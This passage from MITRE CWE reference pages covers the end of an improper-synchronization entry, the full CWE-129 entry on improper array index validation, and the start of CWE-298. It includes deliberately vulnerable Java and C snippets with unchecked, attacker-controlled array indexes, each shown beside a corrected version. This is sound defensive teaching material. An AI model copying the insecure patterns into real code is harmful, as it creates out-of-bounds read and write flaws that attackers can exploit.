However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT
[blank line]
[blank line]

+ Observed Examples
ReferenceDescription
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
+ Potential Mitigations

Phase: Implementation

Use industry standard APIs to synchronize your code.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.745CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.879CERT C++ Secure Coding Section 11 - Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1166SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingSIG00-CMask signals handled by noninterruptible signal handlers
CERT C Secure CodingSIG31-CCWE More AbstractDo not access shared objects in signal handlers
CLASPState synchronization error
The CERT Oracle Secure Coding Standard for Java (2011)VNA03-JDo not assume that a group of calls to independently atomic methods is atomic
Software Fault PatternsSFP19Missing Lock
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Name, Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2019-09-23CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Insufficient Synchronization

CWE-129: Improper Validation of Array Index

Weakness ID: 129
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
+ Alternate Terms
out-of-bounds array index
index-out-of-range
array index underflow
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1285Improper Validation of Specified Index, Position, or Offset in Input
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.789Memory Allocation with Excessive Size Value
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Use of an index that is outside the bounds of an array will very likely result in the corruption of relevant memory and perhaps instructions, leading to a crash, if the values are outside of the valid memory area.
Integrity

Technical Impact: Modify Memory

If the memory corrupted is data, rather than instructions, the system will continue to function with improper values.
Confidentiality
Integrity

Technical Impact: Modify Memory; Read Memory

Use of an index that is outside the bounds of an array can also trigger out-of-bounds read or write operations, or operations on the wrong objects; i.e., "buffer overflows" are not always the result. This may result in the exposure or modification of sensitive data.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow and possibly without the use of large inputs if a precise index can be controlled.
Integrity
Availability
Confidentiality

Technical Impact: DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands; Read Memory; Modify Memory

A single fault could allow either an overflow (CWE-788) or underflow (CWE-786) of the array index. What happens next will depend on the type of operation being performed out of bounds, but can expose sensitive information, cause a system crash, or possibly lead to arbitrary code execution.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the code snippet below, an untrusted integer value is used to reference an object in an array.

(bad code)
Example Language: Java 
public String getValue(int index) {
return array[index];
}

If index is outside of the range of the array, this may result in an ArrayIndexOutOfBounds Exception being raised.

Example 2

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 3

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {
// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message

// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)
Example Language:

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 4

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

(bad code)
Example Language:

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
...
char buf[BUFFER_SIZE];
int ok;
int num, size;

// read values from socket and added to sizes array
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{
// continue read from socket until buf only contains '.'
if (DOTLINE(buf))
break;
else if (sscanf(buf, "%d %d", &num, &size) == 2)
sizes[num - 1] = size;
}
...
}

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

(good code)
Example Language:

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
...
char buf[BUFFER_SIZE];
int ok;
int num, size;

// read values from socket and added to sizes array
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{

// continue read from socket until buf only contains '.'
if (DOTLINE(buf))
break;

else if (sscanf(buf, "%d %d", &num, &size) == 2) {
if (num > 0 && num <= (unsigned)count)
sizes[num - 1] = size;

else

/* warn about possible attempt to induce buffer overflow */
report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
}
}
...
}

Example 5

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

(bad code)
Example Language: Java 

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
String productSummary = new String("");

try {
String productSummary = getProductSummary(index);


} catch (Exception ex) {...}

return productSummary;
}

public String getProductSummary(int index) {
return products[index];
}

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

(good code)
Example Language: Java 

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
String productSummary = new String("");

try {
String productSummary = getProductSummary(index);


} catch (Exception ex) {...}

return productSummary;
}

public String getProductSummary(int index) {
String productSummary = "";

if ((index >= 0) && (index < MAX_PRODUCTS)) {
productSummary = products[index];
}
else {
System.err.println("index is out of bounds");
throw new IndexOutOfBoundsException();
}

return productSummary;
}

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

(good code)
Example Language: Java 
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}

Example 6

The following example asks a user for an offset into an array to select an item.

(bad code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

+ Observed Examples
ReferenceDescription
large ID in packet used as array index
negative array index as argument to POP LIST command
Integer signedness error leads to negative array index
product does not properly track a count and a maximum number, which can lead to resultant array index overflow.
Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.
Chain: array index error (CWE-129) leads to deadlock (CWE-833)
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, Ada allows the programmer to constrain the values of a variable and languages such as Java and Ruby will allow the programmer to handle exceptions when an out-of-bounds index is accessed.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
The most common condition situation leading to an out-of-bounds array index is the use of loop index variables as buffer indexes. If the end condition for the loop is subject to a flaw, the index can grow or shrink unbounded, therefore causing a buffer overflow or underflow. Another common situation leading to this condition is the use of a function's return value, or the resulting value of a calculation directly as an index in to a buffer.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report array index errors that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Black Box

Black box methods might not get the needed code coverage within limited time constraints, and a dynamic test might not produce any noticeable side effects even if it is successful.
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUnchecked array indexing
PLOVERINDEX - Array index overflow
CERT C Secure CodingARR00-CUnderstand how arrays work
CERT C Secure CodingARR30-CCWE More SpecificDo not form or use out-of-bounds pointers or array subscripts
CERT C Secure CodingARR38-CDo not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure CodingINT32-CEnsure that operations on signed integers do not result in overflow
SEI CERT Perl Coding StandardIDS32-PLImpreciseValidate any integer that is used as an array index
OMG ASCSMASCSM-CWE-129
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Array Indexing Errors" Page 144. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-96] Jason Lam. "Top 25 Series - Rank 14 - Improper Validation of Array Index". SANS Software Security Institute. 2010-03-12. <https://web.archive.org/web/20100316064026/http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/>. URL validated: 2023-04-07.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-129. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences
2009-10-29CWE Content TeamMITRE
updated Description, Name, Relationships
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Observed_Examples, Other_Notes, Potential_Mitigations, Theoretical_Notes, Weakness_Ordinalities
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationship_Notes, Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References, Relationships
2022-10-13CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-10-29Unchecked Array Indexing

CWE-298: Improper Validation of Certificate Expiration

Weakness ID: 298
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
